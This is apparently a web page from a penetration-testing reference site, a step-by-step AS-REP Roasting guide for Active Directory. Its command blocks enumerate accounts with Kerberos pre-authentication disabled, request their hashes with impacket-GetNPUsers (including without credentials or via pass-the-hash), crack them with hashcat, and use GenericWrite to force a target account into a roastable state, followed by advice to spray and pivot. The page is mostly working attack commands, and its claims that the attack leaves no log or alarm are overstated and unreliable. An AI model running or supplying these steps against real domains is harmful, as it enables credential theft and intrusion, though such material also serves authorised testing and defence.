# AS-REP Roasting

> Exploit accounts with Kerberos pre-authentication disabled to capture AS-REP hashes offline for password cracking without domain credentials.

- **URL:** https://hackindex.io/platforms/active-directory/exploitation/as-rep-roasting
- **Path:** Active Directory > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/active-directory/exploitation.md)
- **Published:** 2026-04-30
- **Updated:** 2026-08-11

AS-REP Roasting is a quick way to steal password hashes. It targets Active Directory accounts with pre-auth off. First, you ask the DC for the AS-REP. Then the DC sends back a hash. So you crack that hash offline. Also, the attack is quiet. So no alarm fires. And you need no admin rights.

![](https://hackindex.io/storage/RFDHj2emZOSTd0oCxpELX6sPtJuOyzMJbhfCidHn.jpg)

## **What is AS-REP Roasting?**

In short, AS-REP Roasting abuses one flag: `DONT_REQ_PREAUTH`. Normally the DC checks your password first. However, with pre-auth off, it skips that check. As a result, it replies to anyone. Therefore any user can roast the account.

Keep these facts in mind:

- First, the hash lives in the AS-REP reply.
- Next, you crack it offline. So lockout never trips.
- Also, nothing is logged. Thus it stays quiet.
- Finally, old service accounts are easy targets.

## **Who can run AS-REP Roasting?**

First, any domain user can roast these accounts. Second, open LDAP lets you roast with no login. In that case, you just need a name list. So the bar is very low.

## **Find AS-REP Roastable accounts**

First, list the targets. This keeps your footprint small. Also, it makes your goal clear. Then the filter finds every account with pre-auth off.

**Find pre-auth disabled accounts**

```bash
# BloodyAD: direct LDAP filter
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName

# nxc: enumerate and dump hashes in one pass
nxc ldap $TARGET_IP -u $USER -p $PASSWORD --asreproast asrep.txt
# sAMAccountName: svc-backup
# sAMAccountName: jdoe
```

## **Request the AS-REP hashes**

Next, request the hashes. Your tool depends on what you hold. For example, `impacket-GetNPUsers` works with any login. Then it asks the DC for each account. So you get every AS-REP hash at once.

### **With a domain login**

First, pass a user and a password. Then the tool roasts all pre-auth accounts. Finally, it saves the hashes to a file.

**Request AS-REP hashes**

```bash
# All pre-auth disabled accounts
impacket-GetNPUsers $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request -outputfile asrep.txt

# Pass-the-Hash
impacket-GetNPUsers $DOMAIN/$USER -hashes :$NTHASH -dc-ip $TARGET_IP -request -outputfile asrep.txt

# Specific user only
impacket-GetNPUsers $DOMAIN/$TARGET_USER -dc-ip $TARGET_IP -no-pass -outputfile asrep.txt
# $krb5asrep$23$svc-backup@CORP.LOCAL:1a2b3c4d5e6f...
```

### **Without a login**

However, you do not always need a login. If open bind is on, use a name list. First, build the list. Then roast the names for AS-REP hashes.

**Request hashes without credentials**

```bash
# No credentials: requires anonymous LDAP bind or known usernames
impacket-GetNPUsers $DOMAIN/ -dc-ip $TARGET_IP -no-pass -usersfile users.txt -outputfile asrep.txt

# Generate a username list from anonymous LDAP enumeration
ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=user)" sAMAccountName | grep sAMAccountName | awk '{print $2}' > users.txt
# $krb5asrep$23$jdoe@CORP.LOCAL:3e4f5a6b...
```

## **Crack the AS-REP hashes**

Now crack the loot offline. These AS-REP hashes use etype 23. Therefore Hashcat mode 18200 fits them. Also, weak passwords fall fast. So rockyou often cracks them.

**Crack with hashcat**

```bash
# Mode 18200: AS-REP etype 23 (RC4)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

# With rules for better coverage
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# Show cracked results
hashcat -m 18200 asrep.txt --show
# $krb5asrep$23$svc-backup@CORP.LOCAL:1a2b3c...  →  Backup2023!
```

## **Force AS-REP Roasting with GenericWrite**

Sometimes no account has pre-auth off. However, you can force it. First, you need write rights on a target. Then you flip the flag and roast. Finally, you flip it back.

Follow these steps in order:

1. First, turn off pre-auth on the target.
2. Then request the AS-REP hash.
3. Next, crack it offline.
4. Finally, turn pre-auth back on.

**Disable pre-auth, roast, re-enable**

```bash
# Requires GenericWrite or GenericAll on the target account
# Disable pre-auth
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add uac $TARGET_USER DONT_REQ_PREAUTH

# Request the hash
impacket-GetNPUsers $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request -outputfile asrep.txt

# Crack
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

# Re-enable pre-auth after cracking
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove uac $TARGET_USER DONT_REQ_PREAUTH
```

## **After the roast**

Finally, use what you cracked. One password often opens more doors. So map the account first. Then pivot with care.

- First, map rights with [Object Enumeration](https://hackindex.io/platforms/active-directory/enumeration/active-directory-object-enumeration).
- Then reuse the password with [AD Password Spraying](https://hackindex.io/platforms/active-directory/exploitation/ad-password-spraying).
- If it grants admin, try [Pass-the-Hash](https://hackindex.io/services/smb/exploitation/pass-the-hash).
- Also, read the [AS-REP Roasting service page](https://hackindex.io/services/kerberos/exploitation/asrep-roasting).

Related

## References

- [Impacket: GitHub](https://github.com/fortra/impacket) - GetNPUsers reference for AS-REP hash request
- [NetExec (nxc): GitHub](https://github.com/Pennyw0rth/NetExec) - asreproast module reference
- [BloodyAD: GitHub](https://github.com/CravateRouge/bloodyAD) - add uac / remove uac for DONT_REQ_PREAUTH manipulation